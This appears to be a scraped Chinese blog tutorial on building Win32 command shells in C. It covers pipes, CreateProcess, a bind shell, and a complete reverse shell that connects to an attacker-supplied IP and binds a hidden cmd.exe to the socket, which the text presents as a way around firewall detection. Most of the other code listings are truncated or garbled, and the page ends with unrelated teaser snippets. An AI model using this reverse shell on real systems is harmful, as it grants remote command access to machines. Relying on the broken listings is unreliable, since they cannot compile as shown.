知識碎片之使用Win32 編寫shell

2021-09-27 08:41:07 字數 4038 閱讀 8225

伺服器端**如下:

#include

#include

#include

#pragma comment(lib,"ws2_32.lib")

//鏈結ws2_32.lib

intmain()

closesocket

(listenfd)

;return0;

}

客戶端:

#include

#include

#include

#pragma comment(lib,"ws2_32.lib")

//鏈結ws2_32.lib

#define port 830

#define maxdatasize 100

intmain

(int argc,

char

* ar**)

}closesocket

(sockfd)

;return0;

}

共享條件:

/*

bool createpipe(

phandle hreadpipe, //pipe管道讀取資料控制代碼,通過readfile函式可以從此控制代碼讀取資料

phandle hwritepipe, //pipe管道寫入資料控制代碼,通過writefile函式可以向此控制代碼中寫入資料

lpsecurity_attributes lppipeattributes, //指定pipe管道的安全屬性,通過此結構可以設定pipe管道是否允許子程序繼承

dword nsize //pipe管道大小(位元組單位),設定為0則為使用系統預設快取尺寸

);typedef struct _security_attributes security_attributes, *psecurity_attributes, *lpsecurity_attributes;

*/security_attributes pipeattr;

handle hreadpipe,hwritepipe;

pipeattr.nlength=12;

pipeattr.lpsecuritydescriptor=0;

pipeattr.binherithandle = true;

createpipe

(&hreadpipe,

&hwritepipe,

&pipeattr,0)

;

/*bool createprocessa(

lpstr lpcommandline, //要執行的命令列

lpsecurity_attributes lpprocessattributes,

lpsecurity_attributes lpthreadattributes,

bool binherithandles, //是否繼承父程序

dword dwcreationflags, //程序建立標誌,通常設定為0

lpvoid lpenvironment,

lpcstr lpcurrentdirectory,

lpstartupinfoa lpstartupinfo, //用於設定啟動資訊

lpprocess_information lpprocessinformation //使用者獲取子程序控制代碼或者子程序id

);*/

#include

intmain()

通過組合上述3部分知識可以構造如下shell

#include

#include

#include

#pragma comment(lib,"ws2_32")

intmain()

else

}return0;

}

對應的組合語言版本(多程序,多執行緒要考慮非同步問題,所以在下述**的關鍵位置新增了時間延遲以等待子程序執行完畢):

int

main()

return0;

}

#include

#include

#include

#include

#pragma comment(lib,"ws2_32")

intmain()

else

}return0;

}

相對好用些,所謂零管道就是沒有使用pipe而是直接將socket控制代碼重定向到子程序的輸入,輸出及錯誤輸出。而子程序是非重疊io(重疊io又名非同步io)支援的物件所以這裡需要使用wsascoket生成非重疊io屬性的socket。

#include

#include

#include

#include

#pragma comment(lib,"ws2_32")

intmain()

用於由目標機器向外連線攻擊主機以避開防火牆的檢測

#include

#include

#include

#include

#pragma comment(lib,"ws2_32")

intmain

(int argc,

char

* ar**)

char

* ip = ar**[1]

;int port =

atoi

(ar**[2]

);wsadata ws;

int ret;

wsastartup

(makeword(2

,2),

&ws)

; socket fd =

wsasocket

(af_inet,sock_stream,ipproto_tcp,

null,0

,0);

struct sockaddr_in server;

server.sin_addr.s_addr =

inet_addr

(ip)

; server.sin_port=

htons

(port)

; server.sin_family = af_inet;

int iaddrsize =

sizeof

(server)

; ret =

connect

(fd,

(sockaddr *

)&server,iaddrsize)

;printf

("%d"

,ret)

; startupinfo si;

zeromemory

(&si,

sizeof

(si));

si.dwflags = startf_useshowwindow|startf_usestdhandles;

si.wshowwindow = sw_hide;

si.hstdinput=si.hstderror = si.hstdoutput =

(void

*)fd;

process_information processinformation;

ret =

createprocess

(null

,"cmd.exe"

,null

,null,1

,0,null

,null

,&si,

&processinformation)

;return0;

}

彙編寫Win32 彈窗

1.暫存器 32位cpu一共提供8個通用暫存器 eax 傳遞返回結果 ecx 進行計數 esi 進行源指標 edi 進行目的指標 eip 當前指令指標暫存器 efl 浮點暫存器 2.開發 對於彙編來說開發者要注意棧幀的平衡 資料先進後出 為什麼用棧結構進行程式設計 例 int myadd int x...

WIN32編寫Warkey 實現改建

下面介紹下,利用win32編寫自己的warkey,實現改鍵,編譯出的 更小巧,希望對感興趣的朋友有些幫助。主要利用低階鍵盤和滑鼠鉤子,無需額外的dll,程式很小巧,主要 如下。ifndef winver define winver 0x0500 endif ifndef win32 winnt de...

WIN32開發之小知識點

1 toupper 函式 toupper是乙個庫函式 toupper的標頭檔案 include 函式的原型 int toupper int c 函式說明 若引數 c 為小寫字母則將該對應的大寫字母返回。返回值 返回轉換後的大寫字母,若不須轉換則將引數c 值返回。toupper的標頭檔案 includ...